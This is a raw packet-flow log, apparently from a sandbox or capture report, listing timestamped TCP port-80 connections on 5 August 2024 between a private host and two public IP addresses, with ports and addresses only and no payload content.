Aug 5, 2024 11:59:48.905488014 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905509949 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905520916 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905554056 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905586958 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905603886 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905618906 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905633926 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905649900 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905683994 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905709982 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905718088 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905751944 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905769110 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905785084 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905819893 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905846119 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905853033 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905886889 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905905008 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905920029 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905952930 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.905965090 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:48.905982018 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:48.906039000 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.245992899 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246309042 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246345043 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246380091 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246402979 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246419907 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246442080 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246498108 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246532917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246543884 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246567965 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246618986 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246651888 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246674061 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246687889 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246705055 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246722937 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246757030 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246788979 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246812105 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246824980 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246839046 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246860027 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246893883 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246917963 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.246927023 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.246963024 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247009039 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247052908 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247085094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247107029 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247118950 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247152090 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247189045 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247205019 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247239113 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247256041 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247271061 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247323036 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247334003 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247356892 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247390032 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247440100 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247448921 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247503996 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247554064 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247570038 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247586966 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247613907 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247622013 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247653961 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247690916 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247694016 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247728109 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247751951 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247762918 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247796059 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247828007 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247857094 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247862101 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247881889 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247898102 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247931004 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247948885 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.247965097 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.247997999 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248032093 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248030901 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248068094 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248083115 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248100996 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248135090 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248167038 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248183966 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248208046 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248229980 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248243093 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248277903 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248311996 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248333931 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248344898 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248356104 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248379946 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248413086 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248445988 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248456955 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248497009 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248498917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248539925 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248574972 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248608112 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248626947 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248641014 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248655081 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248677015 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248709917 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248744011 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248756886 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248776913 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.248795033 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.248814106 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.251704931 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.251734972 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.258259058 CEST	80	49763	27.221.16.149	192.168.2.5
Aug 5, 2024 11:59:49.258323908 CEST	49763	80	192.168.2.5	27.221.16.149
Aug 5, 2024 11:59:49.341975927 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:49.346915007 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:49.347003937 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:49.347111940 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:49.351963043 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.426873922 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.426970959 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427063942 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427100897 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427148104 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.427155018 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427179098 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.427189112 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427225113 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427258015 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427268982 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.427292109 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427329063 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.427346945 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.427373886 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.432413101 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.432522058 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.432570934 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.762804985 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.762871027 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.762907982 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.762934923 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.762943983 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.762990952 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.763128042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.763183117 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.763233900 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.763237953 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.763273001 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.763307095 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.763319969 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.763988018 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.764043093 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.764060020 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.764077902 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.764112949 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.764131069 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.764147997 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.764190912 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:50.764806986 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:50.817028999 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.113755941 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.113812923 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.113851070 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.113883972 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.113894939 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.113919020 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.113951921 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.113955975 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114008904 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.114192963 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114244938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114279985 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114293098 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.114315033 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114357948 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.114367008 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114847898 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114895105 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.114901066 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114938021 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114970922 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.114984989 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.115005970 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.115041018 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.115050077 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.115746021 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.115782976 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.115803003 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.115818024 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.115863085 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.452372074 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.455957890 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.455992937 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456028938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456084013 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456116915 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456135035 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456135035 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456135035 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456151962 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456186056 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456216097 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456222057 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456257105 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456279993 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456290007 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456326962 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456336975 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456361055 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456396103 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456419945 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456429005 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456464052 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456491947 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456516981 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456551075 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456567049 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456585884 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456619978 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456635952 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456653118 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456691027 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456703901 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.456742048 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456777096 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.456793070 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.504447937 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.738409042 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738467932 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738503933 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738537073 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738570929 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738604069 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738641977 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738675117 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.738675117 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.738675117 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.738713980 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738749027 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738782883 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738792896 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.738817930 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738852978 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.738867044 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.738898993 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.739166021 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739219904 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739273071 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739274979 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.739331007 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739363909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739386082 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.739398956 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739434004 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739469051 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.739486933 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.739511967 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.740204096 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.740238905 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.740272999 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.740293026 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:51.740308046 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:51.740360022 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194148064 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194191933 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194246054 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194279909 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194330931 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194372892 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194377899 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194377899 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194423914 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194477081 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194482088 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194509983 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194542885 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194565058 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194592953 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194611073 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194627047 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194659948 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194680929 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194696903 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194725990 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194757938 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194782019 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194807053 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194807053 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194842100 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194891930 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194924116 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194943905 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194957972 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.194968939 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.194992065 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195025921 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195048094 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.195060015 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195092916 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195106983 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.195125103 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195158958 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195190907 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195209026 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.195225954 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195233107 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.195255995 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.195312023 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.432796955 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.432832956 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.432866096 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.432897091 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.432905912 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.432931900 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.432940960 CEST	49764	80	192.168.2.5	27.221.16.179
Aug 5, 2024 11:59:52.432985067 CEST	80	49764	27.221.16.179	192.168.2.5
Aug 5, 2024 11:59:52.433017969 CEST	80	49764	27.221.16.179	192.168.2.5
